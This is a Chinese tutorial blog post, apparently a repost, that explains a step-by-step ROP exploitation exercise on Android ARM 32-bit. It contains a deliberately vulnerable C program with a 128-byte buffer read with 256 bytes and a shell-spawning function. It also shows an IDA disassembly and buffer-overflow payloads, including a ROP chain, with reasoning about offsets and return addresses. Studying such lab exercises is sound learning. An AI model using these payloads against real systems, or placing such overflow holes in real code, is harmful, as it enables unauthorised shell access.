• linkedu视频
  • 平面设计
  • 电脑入门
  • 操作系统
  • 办公应用
  • 电脑硬件
  • 动画设计
  • 3D设计
  • 网页设计
  • CAD设计
  • 影音处理
  • 数据库
  • 程序设计
  • 认证考试
  • 信息管理
  • 信息安全
菜单
linkedu.com
  • 网页制作
  • 数据库
  • 程序设计
  • 操作系统
  • CMS教程
  • 游戏攻略
  • 脚本语言
  • 平面设计
  • 软件教程
  • 网络安全
  • 电脑知识
  • 服务器
  • 视频教程
  • JavaScript
  • ASP.NET
  • PHP
  • 正则表达式
  • AJAX
  • JSP
  • ASP
  • Flex
  • XML
  • 编程技巧
  • Android
  • swift
  • C#教程
  • vb
  • vb.net
  • C语言
  • Java
  • Delphi
  • 易语言
  • vc/mfc
  • 嵌入式开发
  • 游戏开发
  • ios
  • 编程问答
  • 汇编语言
  • 微信小程序
  • 数据结构
  • OpenGL
  • 架构设计
  • qt
  • 微信公众号
您的位置:首页 > 程序设计 >Android > 一步一步学ROP之Android ARM 32位篇

一步一步学ROP之Android ARM 32位篇

作者:网友 字体:[增加 减小] 来源:互联网 时间:2017-05-26

网友通过本文主要向大家介绍了一步一步学rop,android 键盘下一步,android 下一步,一步电子网,一步之遥等相关知识,希望对您有所帮助,也希望大家支持linkedu.com www.linkedu.com

一步一步学ROP之Android ARM 32位篇


0x00

本文仅解释说明蒸米大神一步一步学ROP之Android ARM 32位篇,读者应先阅读这篇文章,遇到问题再来看我这篇文章。

0x01

第一个问题:payload = 'A'*132 + p32(callsystemaddr),这个132是怎么来的?

要回答这个问题,我们需要把level6.c反汇编,level6.c代码如下:

#include
#include
#include
 
void callsystem()
{
system("/system/bin/sh");
}
 
void vulnerable_function() {
char buf[128];
read(STDIN_FILENO, buf, 256);
}
 
int main(int argc, char** argv) {
if (argc==2&&strcmp("passwd",argv[1])==0)
callsystem();
write(STDOUT_FILENO, "Hello, World\n", 13);    
vulnerable_function();
}
我们把使用ndk-build编译后,生成的level6拖入ida pro中,找到vulnerable_function对应的反汇编代码:
.text:00008564 sub_8564
.text:00008564                 PUSH    {LR}
.text:00008566                 MOVS    R2, #0x80
.text:00008568                 SUB     SP, SP, #0x84
.text:0000856A                 MOV     R1, SP
.text:0000856C                 LSLS    R2, R2, #1
.text:0000856E                 MOVS    R0, #0
.text:00008570                 BL      sub_9414
.text:00008574                 ADD     SP, SP, #0x84
.text:00008576                 POP     {PC}
.text:00008576 ; End of function sub_8564
参考ARM子函数定义中的参数放入寄存器的规则,这个函数对应下面的函数代码:
void vulnerable_function() {
char buf[128];
read(STDIN_FILENO, buf, 256);
}
R0对应STDIN_FILENO,buf对应SP-0X84,R2对应256,参数已经存入的寄存器,接着BL sub_9414就是调用read函数。那么132是怎么来的呢,我们来看一张图:

 

\
下一个地址就是LR,也就是返回地址,覆盖了这个地址,就会去执行对应的函数。

0x02

callsystemaddr = 0x00008554 + 1。这个地址是我们静态分析时,callsystem在ida中的静态地址。那么当level在内存中加载并执行后,对应的虚拟地址还是这个么?答案是,是这个地址。我们可以使用cat /proc/pid/maps来观察映射表。如下图:

\

0x03

payload = '\x00'*132 + p32(gadget1) + '\x00'*0xc + p32(r0) + '\x00'*0x4 + p32(gadget2) + p32(r1) + p32(r2) + p32(r4) + p32(r5) + p32(r6) + p32(write_addr_plt) + '\x00' * 0x84 + p32(ret_to_vul),这里为什么'\x00' * 0x84 + p32(ret_to_vul)就返回到vulnerable_function函数呢?

答案是gadget2是write函数,write函数执行时首先会把LR压入堆栈,此时的LR还是指向了.text:00008574 ADD SP, SP, #0x84,因为只执行了BL sub_9414,下一行的地址被存入LR,一直没有变化。

当write函数执行完毕后,pop {pc},继续执行.text:00008574的代码,也就是这两句代码.text:00008574 ADD SP, SP, #0x84 .text:00008576 POP {PC},这样就理解了为什么写成'\x00' * 0x84 + p32(ret_to_vul)就可以返回到vulnerable_function函数了。

分享到:QQ空间新浪微博腾讯微博微信百度贴吧QQ好友复制网址打印

您可能想查找下面的文章:

  • 一步一步学ROP之Android ARM 32位篇

相关文章

  • 2017-05-26redis使用内存调整及优化
  • 2017-05-26解决VS2017不连接visual studio emulator for android,vs2017android
  • 2017-05-26android:Activity数据传递之基本数据类型
  • 2017-05-26用Android Studio 运行ndk 程序
  • 2017-05-26【Android】第7章(2)--布局控件常用的公共属性,android第7章
  • 2017-05-26Android动态部署五:如何从插件apk中启动Service
  • 2017-05-26Android 系统常用的权限,android权限
  • 2017-05-26Android中的属性动画(Property Animation)——Android开发艺术探索笔记
  • 2017-05-26Android逆向之旅---解析编译之后的Resource.arsc文件格式
  • 2017-05-26Android View体系(七)从源码解析View的measure流程

文章分类

  • JavaScript
  • ASP.NET
  • PHP
  • 正则表达式
  • AJAX
  • JSP
  • ASP
  • Flex
  • XML
  • 编程技巧
  • Android
  • swift
  • C#教程
  • vb
  • vb.net
  • C语言
  • Java
  • Delphi
  • 易语言
  • vc/mfc
  • 嵌入式开发
  • 游戏开发
  • ios
  • 编程问答
  • 汇编语言
  • 微信小程序
  • 数据结构
  • OpenGL
  • 架构设计
  • qt
  • 微信公众号

最近更新的内容

    • Android获取本地相册图片、拍照获取图片,
    • Android中AsyncTask的使用详解
    • 让java程序在后台一直执行(例如putty关闭后后台程序继续运行)
    • 7.1.2 Android Http请求头与响应头的学习
    • 开源图表库MPAndroidChart使用介绍之饼状图&折线图&柱状图,图表mpandroidchart
    • WeakReference在Handler中的应用,weakhandler
    • 谷歌电子市场1--BaseFragment,1--basefragment
    • android-webview的使用小结,android-webview
    • Kotlin中变量不同于Java: var 对val(KAD 02),kotlinkad
    • LoaderManager与CursorLoader用法,cursorloader

关于我们 - 联系我们 - 免责声明 - 网站地图

©2020-2025 All Rights Reserved. linkedu.com 版权所有